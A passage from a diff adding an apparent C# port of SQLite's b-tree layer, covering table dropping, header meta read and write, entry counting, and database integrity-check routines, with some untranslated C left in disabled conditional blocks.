+ else + { + freePage( pPage, ref rc ); + releasePage( pPage ); + } +#endif + } + else + { + /* If sqlite3BtreeDropTable was called on page 1. + ** This really never should happen except in a corrupt + ** database. + */ + zeroPage( pPage, PTF_INTKEY | PTF_LEAF ); + releasePage( pPage ); + } + return rc; +} +static int sqlite3BtreeDropTable( Btree p, int iTable, ref int piMoved ) +{ + int rc; + sqlite3BtreeEnter( p ); + rc = btreeDropTable( p, (u32)iTable, ref piMoved ); + sqlite3BtreeLeave( p ); + return rc; +} + + +/* +** This function may only be called if the b-tree connection already +** has a read or write transaction open on the database. +** +** Read the meta-information out of a database file. Meta[0] +** is the number of free pages currently in the database. Meta[1] +** through meta[15] are available for use by higher layers. Meta[0] +** is read-only, the others are read/write. +** +** The schema layer numbers meta values differently. At the schema +** layer (and the SetCookie and ReadCookie opcodes) the number of +** free pages is not visible. So Cookie[0] is the same as Meta[1]. +*/ +static void sqlite3BtreeGetMeta( Btree p, int idx, ref u32 pMeta ) +{ + BtShared pBt = p.pBt; + + sqlite3BtreeEnter( p ); + Debug.Assert( p.inTrans > TRANS_NONE ); + Debug.Assert( SQLITE_OK == querySharedCacheTableLock( p, MASTER_ROOT, READ_LOCK ) ); + Debug.Assert( pBt.pPage1 != null ); + Debug.Assert( idx >= 0 && idx <= 15 ); + + pMeta = sqlite3Get4byte( pBt.pPage1.aData, 36 + idx * 4 ); + + /* If auto-vacuum is disabled in this build and this is an auto-vacuum + ** database, mark the database as read-only. */ +#if SQLITE_OMIT_AUTOVACUUM +if( idx==BTREE_LARGEST_ROOT_PAGE && pMeta>0 ) pBt.readOnly = 1; +#endif + + sqlite3BtreeLeave( p ); +} + +/* +** Write meta-information back into the database. Meta[0] is +** read-only and may not be written. +*/ +static int sqlite3BtreeUpdateMeta( Btree p, int idx, u32 iMeta ) +{ + BtShared pBt = p.pBt; + byte[] pP1; + int rc; + Debug.Assert( idx >= 1 && idx <= 15 ); + sqlite3BtreeEnter( p ); + Debug.Assert( p.inTrans == TRANS_WRITE ); + Debug.Assert( pBt.pPage1 != null ); + pP1 = pBt.pPage1.aData; + rc = sqlite3PagerWrite( pBt.pPage1.pDbPage ); + if ( rc == SQLITE_OK ) + { + sqlite3Put4byte( pP1, 36 + idx * 4, iMeta ); +#if !SQLITE_OMIT_AUTOVACUUM + if ( idx == BTREE_INCR_VACUUM ) + { + Debug.Assert( pBt.autoVacuum || iMeta == 0 ); + Debug.Assert( iMeta == 0 || iMeta == 1 ); + pBt.incrVacuum = iMeta != 0; + } +#endif + } + sqlite3BtreeLeave( p ); + return rc; +} + +#if !SQLITE_OMIT_BTREECOUNT +/* +** The first argument, pCur, is a cursor opened on some b-tree. Count the +** number of entries in the b-tree and write the result to pnEntry. +** +** SQLITE_OK is returned if the operation is successfully executed. +** Otherwise, if an error is encountered (i.e. an IO error or database +** corruption) an SQLite error code is returned. +*/ +static int sqlite3BtreeCount( BtCursor pCur, ref i64 pnEntry ) +{ + i64 nEntry = 0; /* Value to return in pnEntry */ + int rc; /* Return code */ + rc = moveToRoot( pCur ); + + /* Unless an error occurs, the following loop runs one iteration for each + ** page in the B-Tree structure (not including overflow pages). + */ + while ( rc == SQLITE_OK ) + { + int iIdx; /* Index of child node in parent */ + MemPage pPage; /* Current page of the b-tree */ + + /* If this is a leaf page or the tree is not an int-key tree, then + ** this page contains countable entries. Increment the entry counter + ** accordingly. + */ + pPage = pCur.apPage[pCur.iPage]; + if ( pPage.leaf != 0 || 0 == pPage.intKey ) + { + nEntry += pPage.nCell; + } + + /* pPage is a leaf node. This loop navigates the cursor so that it + ** points to the first interior cell that it points to the parent of + ** the next page in the tree that has not yet been visited. The + ** pCur.aiIdx[pCur.iPage] value is set to the index of the parent cell + ** of the page, or to the number of cells in the page if the next page + ** to visit is the right-child of its parent. + ** + ** If all pages in the tree have been visited, return SQLITE_OK to the + ** caller. + */ + if ( pPage.leaf != 0 ) + { + do + { + if ( pCur.iPage == 0 ) + { + /* All pages of the b-tree have been visited. Return successfully. */ + pnEntry = nEntry; + return SQLITE_OK; + } + moveToParent( pCur ); + } while ( pCur.aiIdx[pCur.iPage] >= pCur.apPage[pCur.iPage].nCell ); + + pCur.aiIdx[pCur.iPage]++; + pPage = pCur.apPage[pCur.iPage]; + } + + /* Descend to the child node of the cell that the cursor currently + ** points at. This is the right-child if (iIdx==pPage.nCell). + */ + iIdx = pCur.aiIdx[pCur.iPage]; + if ( iIdx == pPage.nCell ) + { + rc = moveToChild( pCur, sqlite3Get4byte( pPage.aData, pPage.hdrOffset + 8 ) ); + } + else + { + rc = moveToChild( pCur, sqlite3Get4byte( pPage.aData, findCell( pPage, iIdx ) ) ); + } + } + + /* An error has occurred. Return an error code. */ + return rc; +} +#endif + +/* +** Return the pager associated with a BTree. This routine is used for +** testing and debugging only. +*/ +static Pager sqlite3BtreePager( Btree p ) +{ + return p.pBt.pPager; +} + +#if !SQLITE_OMIT_INTEGRITY_CHECK +/* +** Append a message to the error message string. +*/ +static void checkAppendMsg( +IntegrityCk pCheck, +string zMsg1, +string zFormat, +params object[] ap +) +{ + if ( 0 == pCheck.mxErr ) + return; + //va_list ap; + lock ( lock_va_list ) + { + pCheck.mxErr--; + pCheck.nErr++; + va_start( ap, zFormat ); + if ( pCheck.errMsg.zText.Length != 0 ) + { + sqlite3StrAccumAppend( pCheck.errMsg, "\n", 1 ); + } + if ( zMsg1.Length > 0 ) + { + sqlite3StrAccumAppend( pCheck.errMsg, zMsg1.ToString(), -1 ); + } + sqlite3VXPrintf( pCheck.errMsg, 1, zFormat, ap ); + va_end( ref ap ); + } +} + +static void checkAppendMsg( +IntegrityCk pCheck, +StringBuilder zMsg1, +string zFormat, +params object[] ap +) +{ + if ( 0 == pCheck.mxErr ) + return; + //va_list ap; + lock ( lock_va_list ) + { + pCheck.mxErr--; + pCheck.nErr++; + va_start( ap, zFormat ); + if ( pCheck.errMsg.zText.Length != 0 ) + { + sqlite3StrAccumAppend( pCheck.errMsg, "\n", 1 ); + } + if ( zMsg1.Length > 0 ) + { + sqlite3StrAccumAppend( pCheck.errMsg, zMsg1.ToString(), -1 ); + } + sqlite3VXPrintf( pCheck.errMsg, 1, zFormat, ap ); + va_end( ref ap ); + } + //if( pCheck.errMsg.mallocFailed ){ + // pCheck.mallocFailed = 1; + //} +} +#endif //* SQLITE_OMIT_INTEGRITY_CHECK */ + +#if !SQLITE_OMIT_INTEGRITY_CHECK +/* +** Add 1 to the reference count for page iPage. If this is the second +** reference to the page, add an error message to pCheck.zErrMsg. +** Return 1 if there are 2 ore more references to the page and 0 if +** if this is the first reference to the page. +** +** Also check that the page number is in bounds. +*/ +static int checkRef( IntegrityCk pCheck, Pgno iPage, string zContext ) +{ + if ( iPage == 0 ) + return 1; + if ( iPage > pCheck.nPage ) + { + checkAppendMsg( pCheck, zContext, "invalid page number %d", iPage ); + return 1; + } + if ( pCheck.anRef[iPage] == 1 ) + { + checkAppendMsg( pCheck, zContext, "2nd reference to page %d", iPage ); + return 1; + } + return ( ( pCheck.anRef[iPage]++ ) > 1 ) ? 1 : 0; +} + +#if !SQLITE_OMIT_AUTOVACUUM +/* +** Check that the entry in the pointer-map for page iChild maps to +** page iParent, pointer type ptrType. If not, append an error message +** to pCheck. +*/ +static void checkPtrmap( +IntegrityCk pCheck, /* Integrity check context */ +Pgno iChild, /* Child page number */ +u8 eType, /* Expected pointer map type */ +Pgno iParent, /* Expected pointer map parent page number */ +string zContext /* Context description (used for error msg) */ +) +{ + int rc; + u8 ePtrmapType = 0; + Pgno iPtrmapParent = 0; + + rc = ptrmapGet( pCheck.pBt, iChild, ref ePtrmapType, ref iPtrmapParent ); + if ( rc != SQLITE_OK ) + { + //if( rc==SQLITE_NOMEM || rc==SQLITE_IOERR_NOMEM ) pCheck.mallocFailed = 1; + checkAppendMsg( pCheck, zContext, "Failed to read ptrmap key=%d", iChild ); + return; + } + + if ( ePtrmapType != eType || iPtrmapParent != iParent ) + { + checkAppendMsg( pCheck, zContext, + "Bad ptr map entry key=%d expected=(%d,%d) got=(%d,%d)", + iChild, eType, iParent, ePtrmapType, iPtrmapParent ); + } +} +#endif + +/* +** Check the integrity of the freelist or of an overflow page list. +** Verify that the number of pages on the list is N. +*/ +static void checkList( +IntegrityCk pCheck, /* Integrity checking context */ +int isFreeList, /* True for a freelist. False for overflow page list */ +int iPage, /* Page number for first page in the list */ +int N, /* Expected number of pages in the list */ +string zContext /* Context for error messages */ +) +{ + int i; + int expected = N; + int iFirst = iPage; + while ( N-- > 0 && pCheck.mxErr != 0 ) + { + PgHdr pOvflPage = new PgHdr(); + byte[] pOvflData; + if ( iPage < 1 ) + { + checkAppendMsg( pCheck, zContext, + "%d of %d pages missing from overflow list starting at %d", + N + 1, expected, iFirst ); + break; + } + if ( checkRef( pCheck, (u32)iPage, zContext ) != 0 ) + break; + if ( sqlite3PagerGet( pCheck.pPager, (Pgno)iPage, ref pOvflPage ) != 0 ) + { + checkAppendMsg( pCheck, zContext, "failed to get page %d", iPage ); + break; + } + pOvflData = sqlite3PagerGetData( pOvflPage ); + if ( isFreeList != 0 ) + { + int n = (int)sqlite3Get4byte( pOvflData, 4 ); +#if !SQLITE_OMIT_AUTOVACUUM + if ( pCheck.pBt.autoVacuum ) + { + checkPtrmap( pCheck, (u32)iPage, PTRMAP_FREEPAGE, 0, zContext ); + } +#endif + if ( n > (int)pCheck.pBt.usableSize / 4 - 2 ) + { + checkAppendMsg( pCheck, zContext, + "freelist leaf count too big on page %d", iPage ); + N--; + } + else + { + for ( i = 0; i < n; i++ ) + { + Pgno iFreePage = sqlite3Get4byte( pOvflData, 8 + i * 4 ); +#if !SQLITE_OMIT_AUTOVACUUM + if ( pCheck.pBt.autoVacuum ) + { + checkPtrmap( pCheck, iFreePage, PTRMAP_FREEPAGE, 0, zContext ); + } +#endif + checkRef( pCheck, iFreePage, zContext ); + } + N -= n; + } + } +#if !SQLITE_OMIT_AUTOVACUUM + else + { + /* If this database supports auto-vacuum and iPage is not the last + ** page in this overflow list, check that the pointer-map entry for + ** the following page matches iPage. + */ + if ( pCheck.pBt.autoVacuum && N > 0 ) + { + i = (int)sqlite3Get4byte( pOvflData ); + checkPtrmap( pCheck, (u32)i, PTRMAP_OVERFLOW2, (u32)iPage, zContext ); + } + } +#endif + iPage = (int)sqlite3Get4byte( pOvflData ); + sqlite3PagerUnref( pOvflPage ); + } +} +#endif //* SQLITE_OMIT_INTEGRITY_CHECK */ + +#if !SQLITE_OMIT_INTEGRITY_CHECK +/* +** Do various sanity checks on a single page of a tree. Return +** the tree depth. Root pages return 0. Parents of root pages +** return 1, and so forth. +** +** These checks are done: +** +** 1. Make sure that cells and freeblocks do not overlap +** but combine to completely cover the page. +** NO 2. Make sure cell keys are in order. +** NO 3. Make sure no key is less than or equal to zLowerBound. +** NO 4. Make sure no key is greater than or equal to zUpperBound. +** 5. Check the integrity of overflow pages. +** 6. Recursively call checkTreePage on all children. +** 7. Verify that the depth of all children is the same. +** 8. Make sure this page is at least 33% full or else it is +** the root of the tree. +*/ + +static i64 refNULL = 0; //Dummy for C# ref NULL + +static int checkTreePage( +IntegrityCk pCheck, /* Context for the sanity check */ +int iPage, /* Page number of the page to check */ +string zParentContext, /* Parent context */ +ref i64 pnParentMinKey, +ref i64 pnParentMaxKey, +object _pnParentMinKey, /* C# Needed to determine if content passed*/ +object _pnParentMaxKey /* C# Needed to determine if content passed*/ +) +{ + MemPage pPage = new MemPage(); + int i, rc, depth, d2, pgno, cnt; + int hdr, cellStart; + int nCell; + u8[] data; + BtShared pBt; + int usableSize; + StringBuilder zContext = new StringBuilder( 100 ); + byte[] hit = null; + i64 nMinKey = 0; + i64 nMaxKey = 0; + + + sqlite3_snprintf( 200, zContext, "Page %d: ", iPage ); + + /* Check that the page exists + */ + pBt = pCheck.pBt; + usableSize = (int)pBt.usableSize; + if ( iPage == 0 ) + return 0; + if ( checkRef( pCheck, (u32)iPage, zParentContext ) != 0 ) + return 0; + if ( ( rc = btreeGetPage( pBt, (Pgno)iPage, ref pPage, 0 ) ) != 0 ) + { + checkAppendMsg( pCheck, zContext.ToString(), + "unable to get the page. error code=%d", rc ); + return 0; + } + + /* Clear MemPage.isInit to make sure the corruption detection code in + ** btreeInitPage() is executed. */ + pPage.isInit = 0; + if ( ( rc = btreeInitPage( pPage ) ) != 0 ) + { + Debug.Assert( rc == SQLITE_CORRUPT ); /* The only possible error from InitPage */ + checkAppendMsg( pCheck, zContext.ToString(), + "btreeInitPage() returns error code %d", rc ); + releasePage( pPage ); + return 0; + } + + /* Check out all the cells. + */ + depth = 0; + for ( i = 0; i < pPage.nCell && pCheck.mxErr != 0; i++ ) + { + u8[] pCell; + u32 sz; + CellInfo info = new CellInfo(); + + /* Check payload overflow pages + */ + sqlite3_snprintf( 200, zContext, + "On tree page %d cell %d: ", iPage, i ); + int iCell = findCell( pPage, i ); //pCell = findCell( pPage, i ); + pCell = pPage.aData; + btreeParseCellPtr( pPage, iCell, ref info ); //btreeParseCellPtr( pPage, pCell, info ); + sz = info.nData; + if ( 0 == pPage.intKey ) + sz += (u32)info.nKey; + /* For intKey pages, check that the keys are in order. + */ + else if ( i == 0 ) + nMinKey = nMaxKey = info.nKey; + else + { + if ( info.nKey <= nMaxKey ) + { + checkAppendMsg( pCheck, zContext.ToString(), + "Rowid %lld out of order (previous was %lld)", info.nKey, nMaxKey ); + } + nMaxKey = info.nKey; + } + Debug.Assert( sz == info.nPayload ); + if ( ( sz > info.nLocal ) + //&& (pCell[info.iOverflow]<=&pPage.aData[pBt.usableSize]) + ) + { + int nPage = (int)( sz - info.nLocal + usableSize - 5 ) / ( usableSize - 4 ); + Pgno pgnoOvfl = sqlite3Get4byte( pCell, iCell, info.iOverflow ); +#if !SQLITE_OMIT_AUTOVACUUM + if ( pBt.autoVacuum ) + { + checkPtrmap( pCheck, pgnoOvfl, PTRMAP_OVERFLOW1, (u32)iPage, zContext.ToString() ); + } +#endif + checkList( pCheck, 0, (int)pgnoOvfl, nPage, zContext.ToString() ); + } + + /* Check sanity of left child page. + */ + if ( 0 == pPage.leaf ) + { + pgno = (int)sqlite3Get4byte( pCell, iCell ); //sqlite3Get4byte( pCell ); +#if !SQLITE_OMIT_AUTOVACUUM + if ( pBt.autoVacuum ) + { + checkPtrmap( pCheck, (u32)pgno, PTRMAP_BTREE, (u32)iPage, zContext.ToString() ); + } +#endif + if ( i == 0 ) + d2 = checkTreePage( pCheck, pgno, zContext.ToString(), ref nMinKey, ref refNULL, pCheck, null ); + else + d2 = checkTreePage( pCheck, pgno, zContext.ToString(), ref nMinKey, ref nMaxKey, pCheck, pCheck ); + + if ( i > 0 && d2 != depth ) + { + checkAppendMsg( pCheck, zContext, "Child page depth differs" ); + } + depth = d2; + } + } + if ( 0 == pPage.leaf ) + { + pgno = (int)sqlite3Get4byte( pPage.aData, pPage.hdrOffset + 8 ); + sqlite3_snprintf( 200, zContext, + "On page %d at right child: ", iPage ); +#if !SQLITE_OMIT_AUTOVACUUM + if ( pBt.autoVacuum ) + { + checkPtrmap( pCheck, (u32)pgno, PTRMAP_BTREE, (u32)iPage, zContext.ToString() ); + } +#endif + // checkTreePage(pCheck, pgno, zContext, NULL, !pPage->nCell ? NULL : &nMaxKey); + if ( 0 == pPage.nCell ) + checkTreePage( pCheck, pgno, zContext.ToString(), ref refNULL, ref refNULL, null, null ); + else + checkTreePage( pCheck, pgno, zContext.ToString(), ref refNULL, ref nMaxKey, null, pCheck ); + } + + /* For intKey leaf pages, check that the min/max keys are in order + ** with any left/parent/right pages. + */ + if ( pPage.leaf != 0 && pPage.intKey != 0 ) + { + /* if we are a left child page */ + if ( _pnParentMinKey != null ) + { + /* if we are the left most child page */ + if ( _pnParentMaxKey == null ) + { + if ( nMaxKey > pnParentMinKey ) + { + checkAppendMsg( pCheck, zContext, + "Rowid %lld out of order (max larger than parent min of %lld)", + nMaxKey, pnParentMinKey ); + } + } + else + { + if ( nMinKey <= pnParentMinKey ) + { + checkAppendMsg( pCheck, zContext, + "Rowid %lld out of order (min less than parent min of %lld)", + nMinKey, pnParentMinKey ); + } + if ( nMaxKey > pnParentMaxKey ) + { + checkAppendMsg( pCheck, zContext, + "Rowid %lld out of order (max larger than parent max of %lld)", + nMaxKey, pnParentMaxKey ); + } + pnParentMinKey = nMaxKey; + } + /* else if we're a right child page */ + } + else if ( _pnParentMaxKey != null ) + { + if ( nMinKey <= pnParentMaxKey ) + { + checkAppendMsg( pCheck, zContext, + "Rowid %lld out of order (min less than parent max of %lld)", + nMinKey, pnParentMaxKey ); + } + } + } + + /* Check for complete coverage of the page + */ + data = pPage.aData; + hdr = pPage.hdrOffset; + hit = sqlite3Malloc( pBt.pageSize ); + //if( hit==null ){ + // pCheck.mallocFailed = 1; + //}else + { + int contentOffset = get2byteNotZero( data, hdr + 5 ); + Debug.Assert( contentOffset <= usableSize ); /* Enforced by btreeInitPage() */ + Array.Clear( hit, contentOffset, usableSize - contentOffset );//memset(hit+contentOffset, 0, usableSize-contentOffset); + for ( int iLoop = contentOffset - 1; iLoop >= 0; iLoop-- ) + hit[iLoop] = 1;//memset(hit, 1, contentOffset); + nCell = get2byte( data, hdr + 3 ); + cellStart = hdr + 12 - 4 * pPage.leaf; + for ( i = 0; i < nCell; i++ ) + { + int pc = get2byte( data, cellStart + i * 2 ); + u32 size = 65536; + int j; + if ( pc <= usableSize - 4 ) + { + size = cellSizePtr( pPage, data, pc ); + } + if ( (int)( pc + size - 1 ) >= usableSize ) + { + checkAppendMsg( pCheck, "", + "Corruption detected in cell %d on page %d", i, iPage ); + } + else + { + for ( j = (int)( pc + size - 1 ); j >= pc; j-- ) + hit[j]++; + } + } + i = get2byte( data, hdr + 1 ); + while ( i > 0 ) + { + int size, j; + Debug.Assert( i <= usableSize - 4 ); /* Enforced by btreeInitPage() */ + size = get2byte( data, i + 2 ); + Debug.Assert( i + size <= usableSize ); /* Enforced by btreeInitPage() */ + for ( j = i + size - 1; j >= i; j-- ) + hit[j]++; + j = get2byte( data, i ); + Debug.Assert( j == 0 || j > i + size ); /* Enforced by btreeInitPage() */ + Debug.Assert( j <= usableSize - 4 ); /* Enforced by btreeInitPage() */ + i = j; + } + for ( i = cnt = 0; i < usableSize; i++ ) + { + if ( hit[i] == 0 ) + { + cnt++; + } + else if ( hit[i] > 1 ) + { + checkAppendMsg( pCheck, "", + "Multiple uses for byte %d of page %d", i, iPage ); + break; + } + } + if ( cnt != data[hdr + 7] ) + { + checkAppendMsg( pCheck, "", + "Fragmentation of %d bytes reported as %d on page %d", + cnt, data[hdr + 7], iPage ); + } + } + sqlite3PageFree( ref hit ); + releasePage( pPage ); + return depth + 1; +} +#endif //* SQLITE_OMIT_INTEGRITY_CHECK */ + +#if !SQLITE_OMIT_INTEGRITY_CHECK +/* +** This routine does a complete check of the given BTree file. aRoot[] is +** an array of pages numbers were each page number is the root page of +** a table. nRoot is the number of entries in aRoot. +** +** A read-only or read-write transaction must be opened before calling +** this function. +** +** Write the number of error seen in pnErr. Except for some memory +** allocation errors, an error message held in memory obtained from +** malloc is returned if pnErr is non-zero. If pnErr==null then NULL is +** returned. If a memory allocation error occurs, NULL is returned. +*/ +static string sqlite3BtreeIntegrityCheck( +Btree p, /* The btree to be checked */ +int[] aRoot, /* An array of root pages numbers for individual trees */ +int nRoot, /* Number of entries in aRoot[] */ +int mxErr, /* Stop reporting errors after this many */ +ref int pnErr /* Write number of errors seen to this variable */ +) +{ + Pgno i; + int nRef; + IntegrityCk sCheck = new IntegrityCk(); + BtShared pBt = p.pBt; + StringBuilder zErr = new StringBuilder( 100 );//char zErr[100]; + + sqlite3BtreeEnter( p ); + Debug.Assert( p.inTrans > TRANS_NONE && pBt.inTransaction > TRANS_NONE ); + nRef = sqlite3PagerRefcount( pBt.pPager ); + sCheck.pBt = pBt; + sCheck.pPager = pBt.pPager; + sCheck.nPage = btreePagecount( sCheck.pBt ); + sCheck.mxErr = mxErr; + sCheck.nErr = 0; + //sCheck.mallocFailed = 0; + pnErr = 0; + if ( sCheck.nPage == 0 ) + { + sqlite3BtreeLeave( p ); + return ""; + } + sCheck.anRef = sqlite3Malloc( sCheck.anRef, (int)sCheck.nPage + 1 ); + //if( !sCheck.anRef ){ + // pnErr = 1; + // sqlite3BtreeLeave(p); + // return 0; + //} + // for (i = 0; i <= sCheck.nPage; i++) { sCheck.anRef[i] = 0; } + i = PENDING_BYTE_PAGE( pBt ); + if ( i <= sCheck.nPage ) + { + sCheck.anRef[i] = 1; + } + sqlite3StrAccumInit( sCheck.errMsg, null, 1000, 20000 ); + //sCheck.errMsg.useMalloc = 2; + + /* Check the integrity of the freelist + */ + checkList( sCheck, 1, (int)sqlite3Get4byte( pBt.pPage1.aData, 32 ), + (int)sqlite3Get4byte( pBt.pPage1.aData, 36 ), "Main freelist: " ); + + /* Check all the tables. + */ + for ( i = 0; (int)i < nRoot && sCheck.mxErr != 0; i++ ) + { + if ( aRoot[i] == 0 ) + continue; +#if !SQLITE_OMIT_AUTOVACUUM + if ( pBt.autoVacuum && aRoot[i] > 1 ) + { + checkPtrmap( sCheck, (u32)aRoot[i], PTRMAP_ROOTPAGE, 0, "" ); + } +#endif + checkTreePage( sCheck, aRoot[i], "List of tree roots: ", ref refNULL, ref refNULL, null, null ); + } + + /* Make sure every page in the file is referenced + */ + for ( i = 1; i <= sCheck.nPage && sCheck.mxErr != 0; i++ ) + { +#if SQLITE_OMIT_AUTOVACUUM +if( sCheck.anRef[i]==null ){ +checkAppendMsg(sCheck, 0, "Page %d is never used", i); +} +#else + /* If the database supports auto-vacuum, make sure no tables contain +** references to pointer-map pages. +*/ + if ( sCheck.anRef[i] == 0 && + ( PTRMAP_PAGENO( pBt, i ) != i || !pBt.autoVacuum ) ) + { + checkAppendMsg( sCheck, "", "Page %d is never used", i ); + } + if ( sCheck.anRef[i] != 0 && + ( PTRMAP_PAGENO( pBt, i ) == i && pBt.autoVacuum ) ) + { + checkAppendMsg( sCheck, "", "Pointer map page %d is referenced", i ); + } +#endif + } + + /* Make sure this analysis did not leave any unref() pages. + ** This is an internal consistency check; an integrity check + ** of the integrity check. + */ + if ( NEVER( nRef != sqlite3PagerRefcount( pBt.pPager ) ) ) + { + checkAppendMsg( sCheck, "", + "Outstanding page count goes from %d to %d during this analysis", + nRef, sqlite3PagerRefcount( pBt.pPager ) + ); + } + + /* Clean up and report errors. + */ + sqlite3BtreeLeave( p ); + sCheck.anRef = null;// sqlite3_free( ref sCheck.anRef ); + //if( sCheck.mallocFailed ){ + // sqlite3StrAccumReset(sCheck.errMsg); + // pnErr = sCheck.nErr+1; + // return 0; + //} + pnErr = sCheck.nErr; + if ( sCheck.nErr == 0 ) + sqlite3StrAccumReset( sCheck.errMsg ); + return sqlite3StrAccumFinish( sCheck.errMsg ); +} +#endif //* SQLITE_OMIT_INTEGRITY_CHECK */ + +/* +** Return the full pathname of the underlying database file. +** +** The pager filename is invariant as long as the pager is +** open so it is safe to access without the BtShared mutex. +*/ +static string sqlite3BtreeGetFilename( Btree p ) +{ + Debug.Assert( p.pBt.pPager != null ); + return sqlite3PagerFilename( p.pBt.pPager ); +} + +/* +** Return the pathname of the journal file for this database. The return +** value of this routine is the same regardless of whether the journal file +** has been created or not. +** +** The pager journal filename is invariant as long as the pager is +** open so it is safe to access without the BtShared mutex. +*/ +static string sqlite3BtreeGetJournalname( Btree p ) +{ + Debug.Assert( p.pBt.pPager != null ); + return sqlite3PagerJournalname( p.pBt.pPager ); +} + +/* +** Return non-zero if a transaction is active. +*/ +static bool sqlite3BtreeIsInTrans( Btree p ) +{ + Debug.Assert( p == null || sqlite3_mutex_held( p.db.mutex ) ); + return ( p != null && ( p.inTrans == TRANS_WRITE ) ); +} + +#if NOT_SQLITE_OMIT_WAL //#if !SQLITE_OMIT_WAL +/* +** Run a checkpoint on the Btree passed as the first argument. +** +** Return SQLITE_LOCKED if this or any other connection has an open +** transaction on the shared-cache the argument Btree is connected to. +** +** Parameter eMode is one of SQLITE_CHECKPOINT_PASSIVE, FULL or RESTART. +*/ +static int sqlite3BtreeCheckpointBtree *p, int eMode, int *pnLog, int *pnCkpt){ +int rc = SQLITE_OK; +if( p != null){ +BtShared pBt = p.pBt; +sqlite3BtreeEnter(p); +if( pBt.inTransaction!=TRANS_NONE ){ +rc = SQLITE_LOCKED; +}else{ +rc = sqlite3PagerCheckpoint(pBt.pPager, eMode, pnLog, pnCkpt); +} +sqlite3BtreeLeave(p); +} +return rc; +} +#endif + +/* +** Return non-zero if a read (or write) transaction is active. +*/ +static bool sqlite3BtreeIsInReadTrans( Btree p ) +{ + Debug.Assert( p != null ); + Debug.Assert( sqlite3_mutex_held( p.db.mutex ) ); + return p.inTrans != TRANS_NONE; +} + +static bool sqlite3BtreeIsInBackup( Btree p ) +{ + Debug.Assert( p != null ); + Debug.Assert( sqlite3_mutex_held( p.db.mutex ) ); + return p.nBackup != 0; +} + +/* +** This function returns a pointer to a blob of memory associated with +** a single shared-btree. The memory is used by client code for its own +** purposes (for example, to store a high-level schema associated with +** the shared-btree). The btree layer manages reference counting issues. +** +** The first time this is called on a shared-btree, nBytes bytes of memory +** are allocated, zeroed, and returned to the caller. For each subsequent +** call the nBytes parameter is ignored and a pointer to the same blob +** of memory returned. +** +** If the nBytes parameter is 0 and the blob of memory has not yet been +** allocated, a null pointer is returned. If the blob has already been +** allocated, it is returned as normal. +** +** Just before the shared-btree is closed, the function passed as the +** xFree argument when the memory allocation was made is invoked on the +** blob of allocated memory. The xFree function should not call sqlite3_free() +** on the memory, the btree layer does that. +*/ +static Schema sqlite3BtreeSchema( Btree p, int nBytes, dxFreeSchema xFree ) +{ + BtShared pBt = p.pBt; + sqlite3BtreeEnter( p ); + if ( null == pBt.pSchema && nBytes != 0 ) + { + pBt.pSchema = new Schema();//sqlite3DbMallocZero(0, nBytes); + pBt.xFreeSchema = xFree; + } + sqlite3BtreeLeave( p ); + return pBt.pSchema; +} + +/* +** Return SQLITE_LOCKED_SHAREDCACHE if another user of the same shared +** btree as the argument handle holds an exclusive lock on the +** sqlite_master table. Otherwise SQLITE_OK. +*/ +static int sqlite3BtreeSchemaLocked( Btree p ) +{ + int rc; + Debug.Assert( sqlite3_mutex_held( p.db.mutex ) ); + sqlite3BtreeEnter( p ); + rc = querySharedCacheTableLock( p, MASTER_ROOT, READ_LOCK ); + Debug.Assert( rc == SQLITE_OK || rc == SQLITE_LOCKED_SHAREDCACHE ); + sqlite3BtreeLeave( p ); + return rc; +} + + +#if NO_SQLITE_OMIT_SHARED_CACHE //#if !SQLITE_OMIT_SHARED_CACHE +/* +** Obtain a lock on the table whose root page is iTab. The +** lock is a write lock if isWritelock is true or a read lock +** if it is false. +*/ +int sqlite3BtreeLockTable(Btree p, int iTab, u8 isWriteLock){ +int rc = SQLITE_OK; +Debug.Assert( p.inTrans!=TRANS_NONE ); +if( p.sharable ){ +u8 lockType = READ_LOCK + isWriteLock; +Debug.Assert( READ_LOCK+1==WRITE_LOCK ); +Debug.Assert( isWriteLock==null || isWriteLock==1 ); + +sqlite3BtreeEnter(p); +rc = querySharedCacheTableLock(p, iTab, lockType); +if( rc==SQLITE_OK ){ +rc = setSharedCacheTableLock(p, iTab, lockType); +} +sqlite3BtreeLeave(p); +} +return rc; +} +#endif + +#if NOT_SQLITE_OMIT_INCRBLOB //#if !SQLITE_OMIT_INCRBLOB +/* +** Argument pCsr must be a cursor opened for writing on an +** INTKEY table currently pointing at a valid table entry. +** This function modifies the data stored as part of that entry. +** +** Only the data content may only be modified, it is not possible to +** change the length of the data stored. If this function is called with +** parameters that attempt to write past the end of the existing data, +** no modifications are made and SQLITE_CORRUPT is returned. +*/ +int sqlite3BtreePutData(BtCursor pCsr, u32 offset, u32 amt, void *z){ +int rc; +Debug.Assert( cursorHoldsMutex(pCsr) ); +Debug.Assert( sqlite3_mutex_held(pCsr.pBtree.db.mutex) ); +Debug.Assert( pCsr.isIncrblobHandle ); + +rc = restoreCursorPosition(pCsr); +if( rc!=SQLITE_OK ){ +return rc; +} +Debug.Assert( pCsr.eState!=CURSOR_REQUIRESEEK ); +if( pCsr.eState!=CURSOR_VALID ){ +return SQLITE_ABORT; +} + +/* Check some assumptions: +** (a) the cursor is open for writing, +** (b) there is a read/write transaction open, +** (c) the connection holds a write-lock on the table (if required), +** (d) there are no conflicting read-locks, and +** (e) the cursor points at a valid row of an intKey table. +*/ +if( !pCsr.wrFlag ){ +return SQLITE_READONLY; +} +Debug.Assert( !pCsr.pBt.readOnly && pCsr.pBt.inTransaction==TRANS_WRITE ); +Debug.Assert( hasSharedCacheTableLock(pCsr.pBtree, pCsr.pgnoRoot, 0, 2) ); +Debug.Assert( !hasReadConflicts(pCsr.pBtree, pCsr.pgnoRoot) ); +Debug.Assert( pCsr.apPage[pCsr.iPage].intKey ); + +return accessPayload(pCsr, offset, amt, (byte[] *)z, 1); +} + +/* +** Set a flag on this cursor to cache the locations of pages from the +** overflow list for the current row. This is used by cursors opened +** for incremental blob IO only. +** +** This function sets a flag only. The actual page location cache +** (stored in BtCursor.aOverflow[]) is allocated and used by function +** accessPayload() (the worker function for sqlite3BtreeData() and +** sqlite3BtreePutData()). +*/ +static void sqlite3BtreeCacheOverflow(BtCursor pCur){ +Debug.Assert( cursorHoldsMutex(pCur) ); +Debug.Assert( sqlite3_mutex_held(pCur.pBtree.db.mutex) ); +invalidateOverflowCache(pCur) +pCur.isIncrblobHandle = 1; +} +#endif + +/* +** Set both the "read version" (single byte at byte offset 18) and +** "write version" (single byte at byte offset 19) fields in the database +** header to iVersion. +*/ +static int sqlite3BtreeSetVersion( Btree pBtree, int iVersion ) +{ + BtShared pBt = pBtree.pBt; + int rc; /* Return 